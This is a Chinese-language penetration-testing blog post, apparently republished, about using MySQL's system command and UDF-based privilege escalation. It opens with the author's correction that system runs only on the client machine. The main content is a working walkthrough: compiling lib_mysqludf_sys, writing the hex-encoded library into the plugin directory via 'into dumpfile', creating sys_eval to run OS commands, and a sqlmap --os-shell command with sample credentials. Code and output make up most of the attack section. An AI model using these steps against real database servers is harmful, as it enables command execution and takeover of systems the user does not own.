MySQL的system命令在滲透測試中的使用以及UDF提權


聲明:下面引用關於SYSTEM的東西是自己之前的內容,是自己沒有研究透導致的錯誤結論:有了錯就要改,做技術的不能弄虛作假,時時刻刻要求自己要謹慎,雖然我的博客沒人看,但是也要向所有已經看到的人道歉,錯了就是錯了。

說明:

錯誤點:SYSTEM執行的是MYSQL-CLI客戶端自己所在機器的命令,也就是你使用mysql命令行方式連接到對端后,使用SYSTEM執行的還是自己所在機器的指令。比如你system whoami,你會發現是你自己的主機賬戶名。所以無法用在滲透過程的當中,特此聲明。

一、MySQL中的system命令

在MySQL 5.x中增加了system命令,簡單的符號是\!,從而使MySQL可以執行系統的命令

1 mysql> system echo "12345"
2 12345

因為突發奇想,可以使用這個辦法反彈shell

結果OK:

嘗試和select拼接執行,這樣是成功的

想到這里其實可以拼接在SQL注入語句中執行OS命令,或者能連上MySQL之后直接執行OS命令反彈shell。

二、MySQL UDF提權

這里按照linux類操作系統舉例了,服務器端用windows真的沒意思了,雖然還有很多。https://github.com/mysqludf/lib_mysqludf_sys解壓后進入(git clone后直接進入)目錄:

1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

如果遇到報錯:

1 In file included from lib_mysqludf_sys.c:40:
2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory

可以做如下修改:修改/usr/include/mysql/my_global.h文件,注釋626行后重新編譯。並使用Hex.hta獲取16進制。

 1 mysql> show variables like '%plugin%';
 2 +---------------+-------------------------+
 3 | Variable_name | Value                   |
 4 +---------------+-------------------------+
 5 | plugin_dir    | /usr/lib64/mysql/plugin |
 6 +---------------+-------------------------+
 7 1 row in set (0.00 sec)
 8 
 9 mysql> select * from func; #檢查是否已經有人導出過了
10 mysql> select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目錄的寫入權限
12 
13 mysql> create function sys_eval returns string soname 'mysqludf.so';
14 Query OK, 0 rows affected (0.00 sec)
15 
16 mysql> select sys_eval('whoami');
17 +--------------------+
18 | sys_eval('whoami') |
19 +--------------------+
20 | mysql
21              |
22 +--------------------+
23 1 row in set (0.03 sec)
24 
25 mysql> select * from func;
26 +----------+-----+-------------+----------+
27 | name     | ret | dl          | type     |
28 +----------+-----+-------------+----------+
29 | sys_eval |   0 | mysqludf.so | function |
30 +----------+-----+-------------+----------+
31 1 row in set (0.00 sec)
32 
33 mysql> drop function sys_eval;
34 Query OK, 0 rows affected (0.00 sec)
35 
36 mysql> select * from func;
37 Empty set (0.00 sec)

或者使用sqlmap 執行提權:

1 #sqlmap -d "mysql://root:toor@192.168.99.213:3306/test" --os-shell
2 #test的地方是database name

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM